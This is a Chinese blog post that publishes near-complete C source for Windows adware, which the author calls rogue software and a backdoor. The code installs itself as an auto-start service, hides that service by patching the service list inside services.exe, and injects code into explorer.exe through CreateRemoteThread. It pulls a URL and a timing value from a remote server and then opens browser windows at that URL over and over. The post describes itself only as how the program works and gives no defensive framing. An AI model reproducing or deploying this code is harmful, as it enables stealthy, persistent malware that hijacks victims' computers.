一個彈窗口的流氓軟件

#include <stdio.h>
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#include <Tlhelp32.h>

// 是否記錄日誌
//#define DEBUG
#ifdef DEBUG
 #define DEBUG_LOG "c:/debug.txt"
 // 日誌記錄函數
 void LogToFile( WCHAR * );
#endif

#include "ControlService.h"
#include "HideService.h"
#include "CustomFunction.h"

#pragma comment (lib, "Advapi32.lib")
#pragma comment (lib, "Shell32.lib")
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "User32.lib")

#define REMOTE_FUNC_LENGTH 1024 * 10 // 拷貝的長度
#define TARGET_PROCESS L"explorer.exe" // 要注入代碼的目標進程
#define CONFIG_HOST "www.icylife.net" // 讀取配置信息的服務器
#define CONFIG_PATH "/url.txt" // 配置信息在配置服務器的路徑
#define IE_PATH "C:/Program Files/Internet Explorer/iexplore.exe"
#define DEFAULT_URL "http://www.he100.com" // 默認彈出的窗口
#define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默認彈出窗口的間隔時間

// 宏,轉換字符串爲unicode
#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );

// 彈出窗口之間的間隔時間
int sleep_time;

// 彈出的url地址
char url_path[512] = { 0 };

/**************************************************************************************************
* 函數原形
**************************************************************************************************/

void ServiceMain( DWORD, char **); //服務入口
BOOL SetDebugPrivilege( ); //獲取debug權限
DWORD GetProcessIdByName(WCHAR * ); //獲取進程的PID
void InjectCode( ); //寫代碼到遠程進程
void GetConfig( ); //更新配置,獲取要彈出的地址和彈出間隔時間

/**************************************************************************************************
* 程序入口,主函數
**************************************************************************************************/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
 WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路徑
 SERVICE_TABLE_ENTRY serviceTable[2];
 
 serviceTable[0].lpServiceName = SERVICE_NAME;
 serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

 serviceTable[1].lpServiceName = NULL;
 serviceTable[1].lpServiceProc = NULL;

 GetModuleFileName( NULL, filePath, MAX_PATH );
 
 // 如果服務未安裝,安裝
 if( !ServiceExists( filePath ) )
 {
 if( ServiceInstall( filePath ) != TRUE )
 {
 return -1;
 }
 else
 {
 return 0;
 }
 }
 
 if( !StartServiceCtrlDispatcher( serviceTable ) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 
 return -1;
 }
 
 return 0;
}

/**************************************************************************************************
* 服務入口
**************************************************************************************************/
void ServiceMain( DWORD argc, char *argv[] )
{
 serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
 serviceStatus.dwCurrentState = SERVICE_START_PENDING;
 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
 serviceStatus.dwWin32ExitCode = 0;
 serviceStatus.dwServiceSpecificExitCode = 0;
 serviceStatus.dwCheckPoint = 0;
 serviceStatus.dwWaitHint = 0;
 
 #ifdef DEBUG
 LogToFile( L"ServiceMain: Try to register service/n" );
 #endif
 
 hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
 if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"ServiceMain: Register service error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 
 return;
 }

 serviceStatus.dwCurrentState = SERVICE_RUNNING;
 serviceStatus.dwCheckPoint = 0;
 serviceStatus.dwWaitHint = 0;
 
 if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 swprintf( tmp, L"ServiceMain: Start service error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 
 return;
 }

 #ifdef DEBUG
 LogToFile( L"ServiceMain: Start service ok/n" );
 #endif
 
 // 隱藏服務
 HideService( SERVICE_NAME );

 // 從網絡讀取配置
 GetConfig( );

 // 注入代碼
 InjectCode( );

 serviceStatus.dwCurrentState = SERVICE_STOPPED;
 if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"ServiceMain: Stop service error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 }

 #ifdef DEBUG
 LogToFile( L"Stop service in main./n" );
 #endif
 
 #ifdef DEBUG
 LogToFile( L"ServiceMain Done./n" );
 #endif

 return;
}

void InjectCode( )
{
 if( ! SetDebugPrivilege() )
 {
 #ifdef DEBUG
 LogToFile( L"Set Debug Privileges error./n" );
 #endif

 return;
 }

 DWORD dwPID = -1;
 while( 1 )
 {
 dwPID = GetProcessIdByName( TARGET_PROCESS );
 
 if( -1 != dwPID )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"Target process id is %d/n", dwPID );
 LogToFile( tmp );
 #endif

 break;
 }

 #ifdef DEBUG
 LogToFile( L"Target process not found, sleep and continue./n" );
 #endif

 Sleep( 30 * 1000 );
 }

 Sleep( 2 * 60 * 1000 );

 // 打開進程
 HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
 if( ! hProcess )
 {
 #ifdef DEBUG
 LogToFile( L"OpenProcess error./n" );
 #endif

 return;
 }

 //計算LoadLibraryA和GetProcAddress的入口地址,這兩個函數由kernel32.dll導出,在各進程中不變
 Arguments arguments;
 
 memset( (void *)&arguments, 0, sizeof(Arguments) );
 HMODULE hKernel = GetModuleHandleA( "kernel32" );
 if( hKernel == NULL )
 {
 #ifdef DEBUG
 LogToFile( L"GetModuleHandle kernel32.dll error./n" );
 #endif

 return;
 }
 arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
 arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );

 strcpy( arguments.MyKernelDll, "kernel32.dll" );
 strcpy( arguments.MyProgram, IE_PATH );
 strcpy( arguments.MyShellDll, "Shell32.dll" );
 strcpy( arguments.MyShellExecute, "ShellExecuteA" );
 strcpy( arguments.MyUrl, url_path );
 strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
 arguments.SleepTime = sleep_time;

 // 在遠程進程中分配內存存放參數,可寫權限
 Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,
 0,
 sizeof(Arguments),
 MEM_COMMIT,
 PAGE_READWRITE );
 if( !remote_agrument )
 {
 #ifdef DEBUG
 LogToFile( L"VirtualAllocEx for arguments error./n" );
 #endif

 return;
 }

 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"Remote Arguments' addr: 0x%08x/n", (DWORD)remote_agrument );
 LogToFile( tmp );
 #endif

 // 將參數寫入遠程進程內存
 int bytes_write;
 if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
 {
 #ifdef DEBUG
 LogToFile( L"WriteProcessMemory for arguments error./n" );
 #endif
 return;
 }

 // 在遠程進程中分配內存存放代碼,可執行權限
 LPVOID remote_func = VirtualAllocEx( hProcess,
 0,
 REMOTE_FUNC_LENGTH,
 MEM_COMMIT,
 PAGE_EXECUTE_READWRITE );
 if( !remote_func )
 {
 #ifdef DEBUG
 LogToFile( L"VirtualAllocEx for function error./n" );
 #endif

 return;
 }

 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"Remote Function Address: 0x%08x/n", remote_func );
 LogToFile( tmp );
 #endif

 // 將代碼寫入遠程進程內存
 if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
 {
 #ifdef DEBUG
 LogToFile( L"WriteProcessMemory for function error./n" );
 #endif

 return;
 }

 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"WriteProcessMemory for function %d bytes/n", bytes_write );
 LogToFile( tmp );
 #endif
 
 HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
 if ( !remote_thread )
 {
 #ifdef DEBUG
 LogToFile( L"CreateRemoteThread for function error./n" );
 #endif

 return;
 }
 
 #ifdef DEBUG
 LogToFile( L"CreateRemoteThread for function ok/n" );
 #endif
 
 /*
 WaitForSingleObject( remote_thread, INFINITE );
 
 if( NULL != remote_func )
 {
 VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
 #ifdef DEBUG
 LogToFile( L"VirtualFreeEx for remote_func./n" );
 #endif
 }
 if( NULL != remote_agrument )
 {
 VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);

 #ifdef DEBUG
 LogToFile( L"VirtualFreeEx for remote_agrument./n" );
 #endif
 }
 
 if( NULL != remote_thread )
 {
 CloseHandle( remote_thread );

 #ifdef DEBUG
 LogToFile( L"CloseHandle for remote_thread./n" );
 #endif
 }
 if( NULL != hProcess )
 {
 CloseHandle( hProcess );

 #ifdef DEBUG
 LogToFile( L"CloseHandle for hProcess./n" );
 #endif
 }
 */

 return;
}

void GetConfig( )
{
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 #endif
 
 WSAData wsa;
 struct sockaddr_in sin;

 memset( &sin, 0, sizeof(struct sockaddr_in) );
 if( WSAStartup( 0x0202, &wsa ) != 0 )
 {
 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"WSAStartup error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 
 goto getconfig_error;
 }

 struct hostent *phost = gethostbyname( CONFIG_HOST );
 if( phost == NULL )
 {
 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"Resolv config host name error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 
 WSACleanup( );
 goto getconfig_error;
 }
 
 memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
 sin.sin_family = AF_INET;
 sin.sin_port = htons( 80 );

 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );

 WCHAR ip[256] = { 0 };
 MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));

 wsprintf( tmp, L"Resolv config host name ok: %s/n",ip );
 LogToFile( tmp );
 #endif
 
 SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
 if( sock == INVALID_SOCKET )
 {
 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"Connect to %s:%s error: /n", ip, 80, GetLastError() );
 LogToFile( tmp );
 #endif

 WSACleanup( );
 goto getconfig_error;
 }

 int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
 if( SOCKET_ERROR == ret )
 {
 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"Connect error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif

 closesocket( sock );
 WSACleanup( );
 goto getconfig_error;
 }

 char send_buff[512] = { 0 };
 sprintf( send_buff, "GET %s HTTP/1.1/r/nHost: %s/r/nAccept: */*/r/n/r/n", CONFIG_PATH, CONFIG_HOST );

 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 
 WCHAR tmp2[256] = { 0 };
 MULTI_TO_WIDE( tmp2, send_buff );
 wsprintf( tmp, L"Send request to get config:/n %s/n", tmp2 );
 LogToFile( tmp );

 #endif

 ret = send( sock, send_buff, strlen(send_buff), 0 );
 if( SOCKET_ERROR == ret )
 {
 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );
 wsprintf( tmp, L"Send request error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif

 closesocket( sock );
 WSACleanup( );
 goto getconfig_error;
 }

 #ifdef DEBUG
 LogToFile( L"Send request ok!/n" );
 #endif
 
 char recv_buff[1024] = { 0 };
 recv( sock, recv_buff, 1000, 0 );
 if( !recv_buff )
 {
 closesocket( sock );
 WSACleanup( );
 goto getconfig_error;
 }

 closesocket( sock );
 WSACleanup( );

 char *content = strstr( recv_buff, "/r/n/r/n" );
 if( !content )
 {
 goto getconfig_error;
 }

 content += strlen("/r/n/r/n");

 #ifdef DEBUG
 memset( tmp, 0, sizeof(tmp) );

 WCHAR c[256] = { 0 };
 MULTI_TO_WIDE( c, content );
 
 wsprintf( tmp, L"Config content is:/n%s/n", c );
 LogToFile( tmp );
 #endif
 
 char *split_flag = strstr( content, "|" );
 if( !split_flag )
 {
 goto getconfig_error;
 }

 char tmp_time[32] = { 0 };
 char tmp_url[512] = { 0 };
 if( split_flag - content > 32 )
 {
 sleep_time = DEFAULT_SLEEP_TIME;
 }
 else
 {
 strncpy( tmp_time, content, split_flag - content );
 sleep_time = atoi( tmp_time );
 }

 if( strlen( split_flag ) >= 512 )
 {
 strcpy( url_path, DEFAULT_URL );
 }
 else
 {
 strcpy( url_path, split_flag + 1 );
 }
 
 return;

 getconfig_error:
 
 sleep_time = DEFAULT_SLEEP_TIME;
 strcpy( url_path, DEFAULT_URL );

 return;
}

/**************************************************************************************************
* 記錄日誌函數
**************************************************************************************************/

#ifdef DEBUG
void LogToFile( WCHAR *str )
{
 FILE *fp;
 
 fp = fopen( DEBUG_LOG, "a" );
 fwprintf( fp, L"%s/n", str );
 fclose( fp );
}
#endif
這個是隱藏服務用的,修改了services.exe文件,可能有一定的危險性。
代碼:
// yunshu(pst) Copy from zzzevazzz(pst)'s code
// 幾個Undocument的結構
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS
{
 PSC_SERVICE_PROCESS Previous;
 PSC_SERVICE_PROCESS Next;
 WCHAR *ImagePath;
 DWORD Pid;
 DWORD NumberOfServices;
 // ...
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE
{
 PSC_DEPEND_SERVICE Next;
 DWORD Unknow;
 PSC_SERVICE_RECORD Service;
 // ...
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD
{
 PSC_SERVICE_RECORD Previous;
 PSC_SERVICE_RECORD Next;
 WCHAR *ServiceName;
 WCHAR *DisplayName;
 DWORD Index;
 DWORD Unknow0;
 DWORD sErv;
 DWORD ControlCount;
 DWORD Unknow1;
 PSC_SERVICE_PROCESS Process;
 SERVICE_STATUS Status;
 DWORD StartType;
 DWORD ErrorControl;
 DWORD TagId;
 PSC_DEPEND_SERVICE DependOn;
 PSC_DEPEND_SERVICE Depended;
 // ...
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

BOOL SetDebugPrivilege()
{
 BOOL bRet = FALSE;
 HANDLE hToken = NULL;
 LUID luid;
 TOKEN_PRIVILEGES tp;

 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
 {
 tp.PrivilegeCount = 1;
 tp.Privileges[0].Luid = luid;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
 }

 if (hToken) CloseHandle(hToken);
 return bRet;
}

DWORD GetProcessIdByName(WCHAR *Name)
{
 BOOL bRet = FALSE;
 HANDLE hProcessSnap = NULL;
 PROCESSENTRY32 pe32 = { 0 };
 DWORD Pid = -1;

 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

 pe32.dwSize = sizeof(PROCESSENTRY32);

 if (Process32First(hProcessSnap, &pe32))
 {
 do
 {
 if ( !_wcsicmp(pe32.szExeFile, Name ) )
 {
 Pid = pe32.th32ProcessID;
 break;
 }
 }
 while (Process32Next(hProcessSnap, &pe32));
 }

 CloseHandle(hProcessSnap);
 return Pid;
}

// 修改內存屬性爲指定值
void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
{
 MEMORY_BASIC_INFORMATION mbi;
 DWORD dwOldProtect, dwWritten;

 VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
 VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
 WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
 VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
}

//尋找服務鏈表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
 WCHAR FileName[MAX_PATH+1];
 HANDLE hFile, hFileMap;
 UCHAR * pMap;
 DWORD dwSize, dwSizeHigh, i, dwRead;
 SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;

 GetSystemDirectory( FileName, MAX_PATH );
 wcscat( FileName, L"/Services.exe");

 hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
 NULL, OPEN_EXISTING, 0, NULL);
 if (INVALID_HANDLE_VALUE == hFile) return NULL;

 dwSizeHigh = 0;
 dwSize = GetFileSize(hFile, &dwSizeHigh);

 hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
 if (NULL == hFileMap) return NULL;

 pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
 if (NULL == pMap) return NULL;

 dwSize -= 12;
 for (i=0; i<dwSize; ++i)
 {
 // 搜索services!ScGetServiceDatabase特徵代碼
 if (*(DWORD*)(pMap+i) == 0xa1909090 &&
 *(DWORD*)(pMap+i+8) == 0x909090c3)
 {
 #ifdef DEBUG
 WCHAR tmpBuffer[256] = { 0 };
 wsprintf( tmpBuffer, L"map is 0x%08x/n", (DWORD *)(pMap+i) );
 LogToFile( tmpBuffer );
 #endif

 if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
 ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
 SvcRd.sErv == 'vrEs') // ServiceRecord結構的特徵
 {
 pRet = pSvcRd;

 #ifdef DEBUG
 WCHAR tmpBuffer[256] = { 0 };
 wsprintf( tmpBuffer, L"pRet is 0x%08x/n", (DWORD *)(pSvcRd) );
 LogToFile( tmpBuffer );
 #endif
 
 break;
 }
 }
 }

 UnmapViewOfFile(pMap);
 CloseHandle(hFileMap);
 CloseHandle(hFile);

 //printf( "addr: 0x%08x/n", (DWORD *)pRet );
 return pRet;
}

// 隱藏服務
BOOL HideService( WCHAR *Name )
{
 DWORD Pid;
 HANDLE hProcess;
 SC_SERVICE_RECORD SvcRd, *pSvcRd;
 DWORD dwRead, dwNameSize;
 WCHAR SvcName[MAX_PATH] = { 0 };
 
 dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);
 
 if (dwNameSize > sizeof(SvcName)) return FALSE;
 
 Pid = GetProcessIdByName( TEXT("Services.exe") );

 #ifdef DEBUG
 WCHAR tmpBuffer1[256] = { 0 };
 wsprintf( tmpBuffer1, L"Pid is %d/n", Pid );
 LogToFile( tmpBuffer1 );
 #endif

 if (Pid == -1) return FALSE;

 if( ! SetDebugPrivilege() ) return FALSE;

 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
 if (NULL == hProcess) return FALSE;

 pSvcRd = FindFirstServiceRecord(hProcess);
 if (NULL == pSvcRd)
 {
 #ifdef DEBUG
 LogToFile( L"Can't Find ServiceDatabase./n" );
 #endif

 CloseHandle(hProcess);
 return FALSE;
 }

 do
 {
 if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
 ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
 {
 // 匹配服務名
 if ( 0 == _wcsicmp(SvcName, Name) )
 {
 // 從鏈表中斷開(一般來說ServiceRecord是可寫的,但還是先改保護屬性以防萬一)
 ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
 ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);

 #ifdef DEBUG
 WCHAR tmpBuffer2[256] = { 0 };
 wsprintf( tmpBuffer2, L"The Service /"%s/" Is Hidden Successfully./n", Name );
 LogToFile( tmpBuffer1 );
 #endif
 
 CloseHandle(hProcess);
 return TRUE;
 }
 }
 else
 {
 break;
 }
 }
 while (pSvcRd = SvcRd.Next);

 if( NULL != hProcess )
 {
 CloseHandle(hProcess);
 }

 return FALSE;
}

這個是注入到explorer.exe進程中的代碼,大部分參數是寫內存寫進去的,有少部分實在懶得搞了,用了一點彙編。
typedef struct _Arguments
{
 char MyUrl[512];
 char MyProgram[512];
 FARPROC MyLoadLibrary;
 FARPROC MyGetAddress;
 char MyKernelDll[32];
 char MyShellDll[32];
 char MyZeroMemory[32];
 char MyShellExecute[32];
 DWORD SleepTime;
}Arguments;

/**************************************************************************************************
* WINAPI函數原形
**************************************************************************************************/
typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );
typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );

void __stdcall CustomFunction( LPVOID my_arguments )
{
 Arguments *func_args = (Arguments *)my_arguments;
 
 LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
 GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
 
 HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
 HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );

 ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
 DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
 DWORD MySleep;
 DWORD sleep_time = func_args->SleepTime;

 __asm
 {
 push eax
 push esp

 sub esp, 6
 
 mov byte ptr [esp], 'S'
 mov byte ptr [esp+1], 'l'
 mov byte ptr [esp+2], 'e'
 mov byte ptr [esp+3], 'e'
 mov byte ptr [esp+4], 'p'
 mov byte ptr [esp+5], ''
 lea eax, [esp]

 push eax
 push h_kernel
 call GetProcAddress
 mov MySleep, eax

 add esp, 6
 pop esp
 pop eax
 }

 while( 1 )
 {
 __asm
 {
 push eax
 push esp
 push ecx
 push ebx

 sub esp, 256

 mov byte ptr [esp], 'o'
 mov byte ptr [esp+1], 'p'
 mov byte ptr [esp+2], 'e'
 mov byte ptr [esp+3], 'n'
 mov byte ptr [esp+4], ''
 lea ebx, [esp]
 
 push SW_SHOWMAXIMIZED
 push 0
 push func_args
 
 mov ecx, func_args
 add ecx, 200h
 lea eax, [ecx]
 push eax
 
 push ebx
 push 0

 call MyShellExecuteA
 
 add esp, 256

 pop ebx
 pop ecx
 pop esp
 pop eax

 push sleep_time
 call MySleep
 }
 }
}
這個是控制服務的,正常的服務程序都有的代碼,流氓軟件應該不接受停止服務請求。
代碼:
/**************************************************************************************************
* 全局變量
**************************************************************************************************/

#define SERVICE_NAME L"LemonTree"
#define SERVICE_DESCRIPTION L"LemonTree"
#define SERVICE_DISPLAY_NAME L"LemonTree"

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatus;

BOOL ServiceInstall( WCHAR * ); //安裝服務
BOOL ServiceUnstall( WCHAR * ); //刪除服務
void ServiceControl( DWORD ); //控制服務
BOOL ServiceExists( WCHAR * ); //判斷服務是否存在

/***********************************************************************************
* 安裝服務
* 參數:主程序全路徑
* 返回:成功返回TRUE,否則爲FALSE
***********************************************************************************/

BOOL ServiceInstall( WCHAR *exeFilePath )
{
 WCHAR tmpPath[MAX_PATH] = { 0 };
 HKEY key;
 
 SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
 if ( serviceMangerHandle == 0 )
 {
 printf( "Install: Open services manager database error: %d/n", GetLastError() );
 return FALSE;
 }
 
 SC_HANDLE serviceHandle = CreateService
 (
 serviceMangerHandle ,
 SERVICE_NAME ,
 SERVICE_DISPLAY_NAME ,
 SERVICE_ALL_ACCESS ,
 SERVICE_WIN32_OWN_PROCESS ,
 SERVICE_AUTO_START ,
 SERVICE_ERROR_NORMAL ,
 exeFilePath ,
 NULL ,
 NULL ,
 NULL ,
 NULL ,
 NULL
 );
 
 if ( serviceHandle == 0 )
 {
 printf( "Create service error: %d/n", GetLastError() );

 CloseServiceHandle( serviceMangerHandle );
 return FALSE;
 }
 
 wcscpy( tmpPath, L"SYSTEM/CurrentControlSet/Services/" );
 wcscat( tmpPath, SERVICE_NAME );
 
 if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
 {
 printf( "Open key %s error: %d/n", tmpPath, GetLastError() );
 return FALSE;
 }

 RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
 
 RegCloseKey(key);

 if( !StartService( serviceHandle, 0, 0 ) )
 {
 printf( "Install service ok, but start it error: %d/n", GetLastError() );
 }
 else
 {
 printf( "Install service ok, start it ok./n" );
 }

 CloseServiceHandle( serviceHandle );
 CloseServiceHandle( serviceMangerHandle );

 return TRUE;
}

/**************************************************************************************************
* 刪除服務
**************************************************************************************************/

BOOL ServiceUnstall( WCHAR *serviceName )
{
 SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
 
 if ( scmHandle == NULL )
 {
 return FALSE;
 }
 
 SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
 
 if( scHandle == NULL )
 {
 CloseServiceHandle( scmHandle );
 
 return FALSE;
 }
 
 DeleteService( scHandle );

 CloseServiceHandle( scHandle );
 CloseServiceHandle( scmHandle );
 
 return TRUE;

}

/**************************************************************************************************
* 服務控制函數
**************************************************************************************************/

void ServiceControl( DWORD request )
{
 #ifdef DEBUG
 LogToFile( L"ServiceControl: Into ServiceControl/n" );
 #endif

 switch ( request )
 {
 case SERVICE_CONTROL_PAUSE:

 serviceStatus.dwCurrentState = SERVICE_PAUSED;

 break;

 case SERVICE_CONTROL_CONTINUE:

 serviceStatus.dwCurrentState = SERVICE_RUNNING;

 break;

 case SERVICE_CONTROL_STOP:
 
 #ifdef DEBUG
 LogToFile( L"ServiceControl: Try to stop service/n" );
 #endif
 
 serviceStatus.dwWin32ExitCode = 0;
 serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
 serviceStatus.dwCheckPoint = 0;
 serviceStatus.dwWaitHint = 0;

 break;

 case SERVICE_CONTROL_INTERROGATE:
 
 break;
 
 default:

 #ifdef DEBUG
 LogToFile( L"ServiceControl: Error arguments/n" );
 #endif

 break;
 }

 if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
 {
 #ifdef DEBUG
 WCHAR tmp[256] = { 0 };
 wsprintf( tmp, L"ServiceMain: Control service error: %d/n", GetLastError() );
 LogToFile( tmp );
 #endif
 }

 return;
}

BOOL ServiceExists( WCHAR *path )
{
 WCHAR tmpPath[MAX_PATH] = { 0 };
 HKEY key;
 WCHAR value[512] = { 0 };

 int type = REG_EXPAND_SZ;
 int size = sizeof(value);

 wcscpy( tmpPath, L"SYSTEM/CurrentControlSet/Services/" );
 wcscat( tmpPath, SERVICE_NAME );
 
 if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
 {
 //printf( "RegOpenKeyEx Error: %d/n", GetLastError() );
 return FALSE;
 }

 if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
 {
 //printf( "RegQueryValueEx Error: %d/n", GetLastError() );
 
 return FALSE;
 }

 if( key ) RegCloseKey( key );

 // 如果服務的程序路徑等於後門本身,表示已經安裝
 if( 0 == _wcsicmp( value, path ) )
 {
 return TRUE;
 }

 return FALSE;
}
發佈了55 篇原創文章 · 獲贊 6 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章